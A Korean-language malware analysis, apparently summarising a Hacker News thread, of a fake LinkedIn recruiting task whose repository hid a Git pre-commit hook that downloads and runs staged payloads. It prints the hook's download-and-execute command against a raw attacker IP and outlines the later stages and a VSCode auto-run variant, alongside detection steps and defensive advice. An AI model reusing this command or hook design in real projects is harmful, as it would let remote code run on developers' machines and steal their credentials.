가짜 채용 과제에 Git Hook 악성코드가 포함됨
가짜 채용 과제에 Git Hook 악성코드가 포함됨
개요
LinkedIn 채용 담당자를 통해 전달된 채용 과제에 미리 구성된 훅(hook)이 포함된 Git 저장소가 들어 있었으며, 개발자가 git commit을 실행할 때 원격 코드가 실행되었습니다.
악성코드 작동 방식
pre‑commit 훅은 호스트 OS를 감지하고 http://45.61.164.38:5777에서 페이로드를 조용히 가져옵니다.
- Linux에서는
wget -qO- 'http://45.61.64.38:5777/task/linux?id=402' | sh를 실행합니다. - 1단계에서는
tokenlinux.npl이라는 파일을 다운로드하고, 이름을tokenlinux.sh로 변경한 뒤, 실행 권한을 부여하고nohup으로 실행합니다. - 2단계(
tokenlinux.sh)에서는$HOME디렉토리에parser.js와package.json을 다운로드하고, Node.jsrequest패키지를 설치한 후parser.js를 백그라운드에서 실행합니다. parser.js는 고도로 난독화되어 있으며,id파라미터는 각 피해자에게 맞춤형 페이로드를 제공하는 용도로 사용되는 것으로 보입니다.package.json에는 네트워크(axios), FTP(basic-ftp), 클립보드(clipboardy), 파일 시스템(fs), JSON 웹 토큰(jsonwebtoken), 프로세스 조작(process,ps-node) 및 Ethereum 개발 환경(hardhat)을 제공하는 종속성들이 나열되어 있습니다.
발견 방법
작성자는 추출된 프로젝트에서 tree -a를 실행하여 숨겨진 훅을 발견했으며, 이를 통해 .git/hooks 디렉토리가 드러났습니다.
.git/hooks/pre-commit을 조사한 결과 OS별 curl/wget 명령어를 확인했습니다.- 공격자의 엔드포인트에 연속적인
curl요청을 보내 스테이징된 스크립트를 가져왔습니다. id파라미터를 변경하면 서로 다른 스크립트가 반환되었으며, 이는 피해자별 맞춤화가 이루어지고 있음을 나타냅니다.
공격자 인프라
악성코드는 포트 5777을 통해 원시 IP 주소(45.61.164.38)에 접속합니다.
- Nmap 스캔 결과 3개의 포트가 열려 있었으며, 그중 포트 22만 Ubuntu에서 OpenSSH 9.6p1로 응답했으며 스캔 당시 알려진 CVE는 없었습니다.
- 도메인 대신 원시 IP 주소를 사용하는 것은 전형적인 악성코드의 특징으로 언급되었습니다.
변종 및 감염 경로
일부 피해자는 VSCode에서 디렉토리를 열 때 실행되는 실행 명령어가 포함된 .vscode 폴더를 받았습니다. 이는 Git 명령어를 실행하지 않고도 감염이 발생할 수 있음을 의미합니다.
- 원래 저장소는 공개된 FastAPI 프로젝트(
https://github.com/Bgogoi123/personal-finance-service)를 클론한 것이었으며, 공격자들이 여기에 악성.git디렉토리를 추가했습니다. - Git 로그에는 원래 프로젝트의 커밋만 표시되었으며, 공격자의 커스텀 커밋은 없었습니다.
커뮤니티 인사이트
Hacker News 게시물의 댓글에서 몇 가지 사항이 강조되었습니다:
- "tree에 대해 알게 되었네요... 25년 이상, 10년 이상 매일 사용해 온 OS에 대해 새로운 것을 배우는 것에 놀라지 않기로 했습니다. 이런 채용 과제 악몽 이야기는 너무 흔해서 그냥 발견의 즐거움을 즐기기로 했습니다" – @fitsumbelay
- "이것이 반복되는 테마가 되고 있는 것 같습니다. 지난달 메인 페이지에도 비슷한 이야기가 있었습니다" – @wxw (https://news.ycombinator.com/item?id=48546294 참조)
- "왜 원시 IP 주소를 사용하나요? 무엇보다 이것은 "악성코드"라고 외치는 것과 같습니다. 피해자가 훅의 내용을 확인할 정도로 깊이 파고든다면, 의심을 거두고 거기서 멈출 가능성은 낮습니다. 대부분의 개발자는
git commit이 악의적일 수 있다고 생각하지 않을 것입니다 (Git 보안의 허점인가요?)" – @ivanjermakov - "이것을 통해 얻은 교훈은 Claude가 안전 장치와 그런 헛소리 때문에 도움을 주는 데 완전히 무용지물이었다는 것입니다." – @vardalab
- "LinkedIn이 실제로 사기 방지에 신경을 쓴다면, 현재 직장을 기재하고 싶을 때 회사 이메일을 사용하여 인증을 구현할 수 있을 것입니다." – @darth_avocado
- "이것을 통해 얻은 교훈은 누군가 당신에게 "은행에서 전화했습니다"라고 말할 때와 똑같은 방어 수단을 사용해야 한다는 것입니다. 그들이 직접 연락해 오면, 실제 회사의 사이트로 가서 지원하고 실제 채용 담당자에게 연락하십시오." – @gtowey
- "AI 시대에 이런 종류의 테스트가 여전히 유효할까요? 진지한 질문입니다. 저는 오랫동안 면접을 본 적이 없습니다. 대학의 과제 시험만큼이나 유용해 보입니다." – @drnick1
- "이런 작업을 수행하는 표준적인 방법은 채용 담당자가 제공하는 VM를 통한 것이 맞죠?" – @wslh
- "VSCode에서 "작성자를 신뢰하지 않음"을 클릭해도 스크립트가 여전히 로드될지 궁금합니다." – @syntaxing
- "git 훅을 전역적으로 비활성화하는 방법을 찾아봤지만, 내장된 방법은 없습니다." – @darkstar999
- 개인적 경험: "해킹당했다는 것을 알게 되었지만, 훨씬 더 정교한 공격이었습니다... 노트북을 포맷하고 모든 것을 재설치해야 합니다." – @IvanGoncharov
방어적 시사점
- 알 수 없는 소스의 코드를 실행하기 전에 숨겨진 디렉토리를 조사하십시오 (예:
tree -a또는ls -la.git/hooks실행). - 요청받지 않은 채용 과제는 잠재적으로 적대적일 수 있다고 간주하십시오. 일회용 VM 또는 컨테이너 사용을 고려하십시오.
- LinkedIn 메시지에 답장하는 대신 공식 채널을 통해 회사에 연락하여 채용 담당자의 정당성을 확인하십시오.
- 워크스페이스가 신뢰할 수 없는 것으로 표시되지 않는 한 VSCode가 폴더 수준의 작업을 실행한다는 점을 유의하십시오.
- 훅을 전역적으로 비활성화하는 내장 Git 옵션은 없습니다. 사용자는 수동으로
.git/hooks를 감사해야 합니다.
결론
이번 사건은 공격자가 채용 과제에 내재된 신뢰를 어떻게 악용하는지 보여줍니다. Git 훅에 다단계 악성코드를 삽입하고, 겉보기에 무해한 종속성을 활용하여 지속성을 확보하고 잠재적인 자격 증명 탈취를 시도합니다. 제3자 코드를 검사할 때의 경계심은 여전히 필수적입니다.